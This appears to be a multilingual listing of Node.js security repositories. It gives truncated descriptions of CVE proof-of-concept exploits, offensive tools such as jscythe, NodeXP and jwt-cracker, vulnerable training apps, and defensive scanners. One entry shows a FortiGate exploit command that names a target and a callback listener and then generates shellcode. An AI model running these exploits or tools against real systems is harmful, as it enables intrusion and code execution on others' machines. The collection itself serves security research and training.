POC-CVE-2026-102282

CVE-2026-102282 — adm-zip 在解压过程中保留 setuid/setgid npm 包 adm-zip 中存在不正确的权限分配。当启用 keepOriginalPermission 时，解压过程会保留来自不可信 zip 的 setuid、setgid 和 sticky 位，从而允许从攻击者提供的归档文件中将一个 root 所有的 setuid 可执行文件植入磁盘：本地权限提升 。 | ---|--- 包| adm-zip npm 生态系统| Node.js CVE| CVE-2026-102282 公告| GHSA-j5f4-cc29-5x44 CWE| CWE-7...

CVE-2023-30547

CVE-2023-30547 脆弱性の説明 vm2は、ホワイトリストに登録されたNodeの組み込みモジュールを使用して信頼できないコードを実行できるサンドボックスです。vm2のバージョン3.9.16までの例外サニタイズに脆弱性が存在し、攻撃者が handleException 内でサニタイズされていないホスト例外を発生させることができ、これによりサンドボックスをエスケープしてホストコンテキストで任意のコードを実行できる可能性があります。 CVE-2023-30547.py このツールは、脆弱性を調査するために使用できるシンプルなPythonスクリプトです。4つのモードがあります：...

JAW

J A W Webサイト | ドキュメント | セットアップ | クローラ | クイックスタート | Docker（例） JAW JavaScript用のプロパティグラフのオープンソース・プロトタイプ実装です。esprima パーサと EsTree SpiderMonkey Spec に基づいています。JAWは、WebアプリケーションのクライアントサイドやJavaScriptベースのプログラムの解析に使用できます。 このプロジェクトは GNU AFFERO GENERAL PUBLIC LICENSE V3.0 の下でライセンスされています。詳細はこちらをご覧ください。 JAWはGith...

NodeGoat

NodeGoat 由于轻量、快速且可扩展，Node.js 正成为开发 Web 应用程序的广泛采用平台。本项目提供了一个环境，用于学习 OWASP Top 10 安全风险如何适用于使用 Node.js 开发的 Web 应用程序，以及如何有效解决这些风险。 开始使用 适用于 Node.js Web 应用程序的 OWASP Top 10： 了解它！ 此应用程序附带了一个教程页面，解释了 OWASP Top 10 漏洞以及如何修复它们。 一旦应用程序运行，您可以在 http://localhost:4000/tutorial（或您配置的端口）访问教程页面。 实践它！ 为忍者打造的易受攻击...

CVE-2023-27997

CVE-2023-27997 FortiGate VM64 7.2.0 es explotable por este código. nota: el código fue escrito de una manera muy tonta. Prueba de Concepto $ python3 exploit.py 192.168.106.142 10443 192.168.106.143 9999 + generating shellcode + salt=b'25c2dcf2' + processing hash + finding hash in cache - not in...

jscythe

jscythe abuses the node.js inspector mechanism in order to force any node.js/electron/v8 based process to execute arbitrary javascript code, even if their debugging capabilities are disabled. Tested and working against Visual Studio Code, Discord, any Node.js application and more! How 1. Locate t...

jscythe

jscytheは、Node.jsのインスペクタメカニズムを悪用して、デバッグ機能が無効になっているNode.js/Electron/V8ベースのプロセスに任意のJavaScriptコードを強制的に実行させます。 Visual Studio Code、Discord、あらゆるNode.jsアプリケーションなどでテスト済みで動作します。 方法 1. ターゲットプロセスを見つける。 2. プロセスにSIGUSR1シグナルを送信する。これにより、デバッガがポート上で有効になる（ソフトウェアによってはランダムな場合もあれば、そうでない場合もある）。 3...

dcipher

dcipher オンラインのレインボー＆ルックアップテーブル攻撃サービスを使用してハッシュを解読します。 インストール ❯❯❯ npm install dcipher 使用方法 const dcipher = require'dcipher'; dcipher'21232f297a57a5a743894a0e4a801fc3'.thenplaintext = console.logplaintext; //= 'admin' ; dcipher'8843d7f92416211de9ebb963ff4ce28125932878'.thenplaintext =...

retire.js

Retire.js Retire Status 你使用的东西，也必须退役 网络上和 Node.JS 应用中有大量的 JavaScript 库可供使用。这大大简化了开发，但我们需要及时了解安全修复。"使用已知漏洞的组件" 现已成为 OWASP Top 10 的一部分，不安全的库可能给您的 Web 应用带来巨大风险。Retire.js 的目标是帮助您检测使用了存在已知漏洞的 JS 库版本。 Retire.js 包含四个部分： 1. 命令行扫描器 2. Chrome 扩展 3. Grunt 插件 4. Burp 和 OWASP Zap 插件 命令行扫描器 扫描 Web 应用或 Node...

telegram-nearby-map

Telegram Nearby Map Telegram Nearby Map uses OpenStreetMap and the official Telegram library to find the position of nearby users. Please note: Telegram's API was updated a while ago to make nearby user distances less precise, preventing exact location calculations. Therefore, Telegram Nearby Map...

pompelmi

pompelmi — Node.js向けClamAVアンチウイルススキャン Node.js向けClamAVアンチウイルススキャン — クリーン、型付き、依存関係ゼロ。...

CVE-2021-21315-PoC

CVE-2021-21315-systeminformation これは CVE-2021-21315 の Proof of Concept です。この脆弱性は Node.JS 用の System Information ライブラリ（npm パッケージ "systeminformation"）に影響します。npmjs.com/systeminformation "si.inetLatency、si.inetChecksite、si.services、si.processLoad に渡される service パラメータを必ずチェックまたはサニタイズしてください...

tiktok-scraper

TikTok スクレイパー & ダウンローダー TikTok から有用な情報をスクレイピングしてダウンロードします。 ログインやパスワードは不要です。 これは公式 API サポートなどではありません。これは TikTok Web API を使用してメディアをスクレイピングする単なるスクレイパーです。 機能 ユーザー名、ハッシュタグ、トレンドから動画投稿をスクレイピング メディアをダウンロードして ZIP アーカイブに保存 投稿情報を含む JSON/CSV ファイルを作成 注記: すべての動画投稿をダウンロードする必要がある場合は、number を 0 に設定してください 投稿 -...

VulnNodeApp

VulnNodeApp node.js、expressサーバー、ejsテンプレートエンジンを使用して作られた脆弱なアプリケーションです。このアプリケーションは教育目的のみを意図しています。 セットアップ このリポジトリをクローンする git clone https://github.com/4auvar/VulnNodeApp.git アプリケーションのセットアップ: npmとともに最新のnode.jsバージョンをインストールしてください。 ターミナル/コマンドプロンプトを開き、ダウンロード/クローンしたリポジトリの場所に移動します。 コマンドを実行: npm install...

nodexp

NodeXP - Detection and Exploitation Tool for Node.js Services! NodeXP is an intergrated tool, written in Python 2.7, capable of detecting possible vulnerabilities on Node.js services as well as exploiting them in an automated way, based on ServerSideJavascriptInjection attack! Getting Started -...

nodexp

NodeXP - Node.js サービス向け検出・悪用ツール! NodeXP は Python 2.7 で書かれた統合ツールであり、ServerSideJavascriptInjection 攻撃に基づいて、Node.js サービス上の潜在的な脆弱性を検出 し、自動的に悪用 することができます。 はじめに - インストールと使用方法 Git リポジトリをクローンして NodeXP をダウンロードします: git clone https://github.com/esmog/nodexp すべてのオプションのリストを表示するには、以下を実行します: python2.7 nodexp -h...

Nodejs-Tracer

nodejs-tracer Tracer simple de Node.js que registra llamadas a módulos principales, puede falsificar ciertas llamadas para evadir el anti-análisis, guardar archivos escritos por la aplicación y más. Útil para analizar malware de Node.js muy ofuscado. Uso node -r .\tracer.js main.js Ejemplo de tra...

jwt-cracker

jwt-cracker Simple HS256, HS384 & HS512 JWT token brute force cracker. Effective only to crack JWT tokens with weak secrets. Recommendation : Use strong long secrets or RS256 tokens. Install With npm: npm install --global jwt-cracker Usage From command line: jwt-cracker -t -a --max -d -f Where:...

burpflow

BurpFlow BurpFlowは、HTTPリクエストをBurp Suiteプロキシ経由でルーティングする軽量なNode.js CLIツールです。セキュリティテスターは、reconで収集したURLをすばやくBurpに読み込んで分析できます。 🎯 BurpFlowとは？ BurpFlow は、ペネトレーションテスター 、バグバウンティハンター 、セキュリティ研究者 向けに設計された、高速・効率的・最小限のrecon自動化CLIツール です。 Burpプロキシを介してHTTPリクエストを送信するプロセスを簡素化し、次のことが可能になります: 大規模なURLリストをBurp...

CookieViz

CookieViz（法语版） CookieViz 是一款可视化工具，可让您衡量自己在浏览时 cookie 所造成的影响。 Cookieviz 分析浏览器与远程网站和服务器之间的交互。您可以了解到，您所访问的网站向哪些其他参与者发送了信息。 使用方法 请确保您的系统上已安装软件平台 node.js 和 git。 1. 在终端中获取 CookieViz 的代码： git clone https://github.com/LINCnil/CookieViz 2. 配置并启动 CookieViz： npm install npm run start 您还可以使用 npm run dist 命令为...